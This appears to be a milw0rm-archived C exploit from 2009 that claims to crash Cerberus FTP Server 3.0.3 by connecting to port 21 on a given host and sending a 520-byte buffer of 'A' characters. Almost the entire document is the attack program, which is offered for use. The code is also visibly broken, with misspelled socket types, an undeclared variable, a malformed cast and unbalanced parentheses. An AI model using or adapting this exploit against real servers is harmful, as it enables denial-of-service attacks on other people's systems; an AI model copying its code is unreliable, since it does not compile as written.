106 lines
No EOL
2 KiB
C
106 lines
No EOL
2 KiB
C
/*
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vulnerab : Remote Denial of Service
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Command vulnerab : User
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Software : Cerberus FTP Server
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Versian : 3.0.3
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website software : http://www.cerberusftp.com
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greetz : *Str0ke*
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Milw0rm is The best in world
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*/
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#include <stdio.h>
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#include <string.h>
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#include <winsock2.h>
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#include <stdlib.h>
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#include <conio.h>
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#pragma comment(lib, "ws2_32.lib")
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#define size 520
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int main(int argc, char *argv[])
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{
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int cer1,cer2,cer3;
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char buffer[size];
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if (argc < 2)
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{
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printf("\n\n Cerberus FTP Server V 3.0.3 Remote Denial Of Service Exploit \n\n");
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printf("\n u : file ip \n");
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printf("\n EX : Cerberus.exe 127.0.0.1 \n");
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exit(-1);
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}
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memset(buffer,"A",520);
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WSADATA wsaData;
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if(WSAStartup (MAKEWORD(2,1),&wsaData) != 0)
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{
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printf("WSAStartup is failed \n");
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exit(-1);
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}
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struct hostent * remote;
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remote = gethostbyname(argv[1]);
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if(! remote)
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{
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cer1 = inet_addr(argv[1]);
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}
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if (!remote) && (cer1 == INADDR_NONE))
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{
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printf("Unable to resolve %s\n",argv[1]);
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exit(-1);
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}
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cer2 = socket(AF_INET,SOCKET_STREAM,IPPROTO_TCP);
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if(cer2 == INVALID_SOCKET)
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{
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printf("\n Error On Create Socket \n");
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exit(-1);
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}
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struct sockaddr_in ftp;
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if (remote != NULL)
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memcpy(&(ftp.sin_addr),remote->h_addr,remote->h_length);
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else
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ftp.sin_addr.s_addr = addr;
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if (remote)
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ftp.sin_family = remote->h_addrtype;
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else
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ftp.sin_family = AF_INET;
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ftp.sin_port=htons(21);
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printf("\n Denial of service FTP server %s \n",argv[1]);
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printf("\n Sending Packet\n");
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Sleep(1000);
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printf("\n packet size = %d byte\n" , sizeof(buffer));
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printf("\n Please Wait ... \n");
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cer3 = connect (cer2, (struct Sockaddr *), &ftp, sizeof (struct Socketaddr_in));
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if(cer3 == 0)
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{
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printf("\n again please wait...\n");
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Sleep(500);
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printf("\n c0nnect3d\n");
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send(cer2 , buffer , sizeof(buffer) , 0);
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printf("\n\n Cerberus FTP Server Have been Crashed ! \n\n");
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}
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else
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{
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printf("\n Cerberus FTP Server not listen in port \n");
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}
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return 0;
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}
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// milw0rm.com [2009-09-14]
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